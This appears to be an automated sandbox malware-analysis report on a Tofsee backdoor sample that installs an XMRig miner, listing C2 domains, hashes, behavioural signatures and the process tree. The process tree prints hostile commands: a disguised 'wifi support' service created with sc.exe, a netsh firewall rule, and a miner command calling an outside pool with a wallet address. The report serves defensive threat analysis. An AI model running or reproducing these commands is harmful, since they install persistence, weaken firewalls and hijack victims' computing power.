Resubmissions

21/01/2023, 20:33

230121-zb71dadg7510

21/01/2023, 19:55

230121-ym4awsfd8y10

Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/01/2023, 19:55

General

  • Target
    file.exe
  • Size 196KB
  • Sample230121-ym4awsfd8y
  • SHA256 c91bf4aaf28e808358e4a8badd36c6ab884d90c8187267e229aae6069f079779
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4408
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hqaoxvqa\
      2⤵
        PID:3260
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dkkopzju.exe" C:\Windows\SysWOW64\hqaoxvqa\
        2⤵
          PID:4876
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hqaoxvqa binPath= "C:\Windows\SysWOW64\hqaoxvqa\dkkopzju.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4936
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hqaoxvqa "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4308
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hqaoxvqa
          2⤵
          • Launches sc.exe
          PID:4768
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5108
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4408 -s 1044
          2⤵
          • Program crash
          PID:4980
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4408 -ip 4408
        1⤵
          PID:1428
        • C:\Windows\SysWOW64\hqaoxvqa\dkkopzju.exe
          C:\Windows\SysWOW64\hqaoxvqa\dkkopzju.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:4352
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:4756
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2128
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 532
            2⤵
            • Program crash
            PID:2484
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4352 -ip 4352
          1⤵
            PID:3084

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                dkkopzju.exe

                • Path C:\Users\Admin\AppData\Local\Temp\dkkopzju.exe
                • Size 11.0MB
                • SHA256 5b2349dc7f4a0adfdeeac110d96857067fcf6b403d6fd8e2bfb38776348cbfd3
                • MD5 SHA1 SHA512 SSDEEP

                dkkopzju.exe

                • Path C:\Windows\SysWOW64\hqaoxvqa\dkkopzju.exe
                • Size 11.0MB
                • SHA256 5b2349dc7f4a0adfdeeac110d96857067fcf6b403d6fd8e2bfb38776348cbfd3
                • MD5 SHA1 SHA512 SSDEEP

                memory/2128-180-0x00000000010C0000-0x00000000011B1000-memory.dmp

                memory/2128-175-0x00000000010C0000-0x00000000011B1000-memory.dmp

                memory/4352-154-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/4352-150-0x0000000002BA0000-0x0000000002CA0000-memory.dmp

                memory/4352-152-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/4408-136-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/4408-134-0x00000000048D0000-0x00000000048E3000-memory.dmp

                memory/4408-144-0x00000000048D0000-0x00000000048E3000-memory.dmp

                memory/4408-145-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/4408-133-0x0000000002C20000-0x0000000002D20000-memory.dmp

                memory/4756-148-0x0000000000F40000-0x0000000000F55000-memory.dmp

                memory/4756-162-0x00000000025C0000-0x00000000025D0000-memory.dmp

                memory/4756-153-0x0000000000F40000-0x0000000000F55000-memory.dmp

                memory/4756-171-0x00000000025E0000-0x00000000025E7000-memory.dmp

                memory/4756-155-0x0000000000F40000-0x0000000000F55000-memory.dmp

                memory/4756-156-0x0000000002E00000-0x000000000300F000-memory.dmp

                memory/4756-159-0x00000000025B0000-0x00000000025B6000-memory.dmp

                memory/4756-168-0x0000000007D00000-0x000000000810B000-memory.dmp

                memory/4756-165-0x00000000025D0000-0x00000000025D5000-memory.dmp